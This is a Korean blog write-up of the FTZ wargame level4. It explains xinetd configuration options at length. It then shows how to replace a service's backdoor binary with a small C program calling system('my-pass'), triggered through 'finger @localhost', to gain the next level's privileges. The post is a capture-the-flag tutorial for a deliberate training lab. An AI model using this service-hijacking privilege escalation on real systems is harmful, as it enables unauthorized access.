본문 바로가기
시스템 해킹/FTZ

level4

by sonysame 2016. 9. 10.

누군가 /etc/xinetd.d/에 백도어를 심어놓았다


/etc/xinetd.d/을 입력하니 이것이 directory라고 나온다.


cd /etc/xinetd.d/을 하면 그 directory로 이동을 하고 


ls -al을 입력하니 backdoor라는 파일이 나온다.


cat backdoor을 입력해보니






Xinetd(Extended Internet Servieces daemon) 슈퍼데몬

서비스 데몬들을 관장하는 데몬을 슈퍼데몬이라고한다. 


service finger //서비스 이름, /etc/services 파일에 등록된 이름과 같아야 한다.


disable =no//xinetd의 제어를 받을 것인가를 결정 yes: 제어 안받아, no: 제어해줘


flags=REUSE


socket_type=stream//사용하는 TCP/IP소켓 stream(TCP)

socket_type 
해당서비스가 tcp프로토콜을 이용하는 서비스일 경우에는 stream으로 설정하고
해당서비스가 udp프로토콜을 이용하는 서비스일 경우에는 dgram으로 설정한다.


wait=no//yes: xinetd가 요청되어 있는한 데몬이 끝날때까지 다른 요청을 받지 않음.

//no : 각 요청에 대해 데몬이 동작, 즉 multi-thread service 이다.

 socket_type을 stream으로 설정하였을 경우에는 no로 설정한다.


user=level5//데몬의 uid

server=/home/level4/tmp/backdoor//서비스가 실행될 때 어떤 위치의 프로그램을 불러올지 결정

해당 서비스를 어떤 사용자의 권한으로 서비스할 것인가를 결정한다. 


log_on_success
해당 서비스접속에 성공하였을 경우에 로그파일에 기록할 내용을 설정한다. 
PID, USERID, EXIT, DURATION등의 설정이 가능하다.

단) +=는 /etc/xinetd.conf파일의 기본설정 항목에 추가할 항목을 지정한다. 
-=는 /etc/xinetd.conf파일의 기본설정 항목에서 제거할 항목을 지정한다.

예) “log_on_success += DURATION”로 설정되었다면 /etc/xinetd.conf 파일의 기본항목외에도
DURATION(서비스접속 지속시간)값을 추가하여 로그파일에 기록한다.

log_on_failure
해당서비스에 접속하지 못하였을 경우에 로그파일에 기록할 내용을 설정한다. 
USERID, HOST, ATTEMPT, RECORD등의 설정이 가능하다.

단) +=는 /etc/xinetd.conf파일의 기본설정 항목에 추가할 항목을 지정한다. 
-=는 /etc/xinetd.conf파일의 기본설정 항목에서 제거할 항목을 지정한다.

예) log_on_failure += USERID로 설정되었다면 해당서비스 접속에 실패하였을 경우에 
/etc/xinetd.conf파일의 기본항목외에도 USERID(사용자의 ID)값을 추가하여 로그파일에 기록한다.



only_from
해당서비스의 접속가능 IP주소를 설정하거나 네트워크 주소를 설정한다.

예) “only_from = 192.168.0.100”은 192.168.0.100 IP주소에서의 해당 서비스 접속을 허용한다는 설정.
“only_from = 192.168.1.0/24”는 192.168.1.0부터 192.168.0.255까지의 IP주소에서의
해당서비스 접속을 허용한다라는 설정임.

no_access
위의 only_from 설정으로 인하여 접속가능한 IP주소들 가운데 접속을 거부할 IP주소를 설정한다.

예) “no_access = 192.168.1.100”으로 설정하였다면, 
192.168.1.100 IP주소를 제외한 192.168.1.0부터 192.168.1.255까지의 IP주소들을 모두 허용한다.

instances
해당 서비스로 접속 가능한 총 접속자수를 지정한다. 
예) “instances = 100” 으로 설정하였다면 해당 서비스로 접속허용할 동시 접속자수는 100명까지만 
허용된다. 101번째 접속부터는 거부하게 된다.

access_times
해당 서비스의 이용가능 시간대를 지정한다. 
예) “access_times = 09:00 ~ 18:00”으로 설정하였다면 해당 서비스는 오전 9시부터 오후 6시까지만 
이용가능하다.

per_source
동일한 곳(호스트, IP)에서 해당 서비스로의 동시접속 횟수를 제한할 수 있다. 
예) “per_source = 3”으로 설정하였다면 동일한 호스트(IP주소)에서 3회이상 동시접속(시도)를 허용하지 않는다. 
이 설정은 DoS(Denial of Service)공격을 차단하기 위한 설정이다.


정리하자면 finger 서비스를 사용하면 /home/level4/tmp/backdoor 프로그램이 level5권한으로 수행됩니다.

즉 아래와 같은 메커니즘을 통해 level5의 권한으로 해당 프로그램을 실행시키게 됩니다.

그렇다면 해당 경로에 있는 파일에 my-pass를 출력하는 프로그램으로 바꿔치키 해놓으면

level5의 권한으로 my-pass 명령어를 수행하게 된다.


tmp의 경로로 들어간다.

cd /home/level4/tmp

vi backdoor.c을 입력후

소스를 입력한다.

i입력하여 (입력모드)

#include <stdio.h>

#include <stdlib.h>

int main(void)

{

system("my-pass");

return 0;

}

esc누르면서(ex모드)

:wq입력(==저장을 하고 vi편집기를 빠져나감)


그러면 backdoor.c 라는 파일이 생김

이 파일을 컴파일 해서 backdoor 라는 파일을 만들어야 함.


gcc -o backdoor backdoor.c 입력


그다음

finger @localhost 하면 끄읕



what is your name?



'시스템 해킹 > FTZ' 카테고리의 다른 글

level6  (0) 2016.09.10
level5  (0) 2016.09.10
level3  (0) 2016.09.10
level2  (0) 2016.09.09
level1  (0) 2016.09.08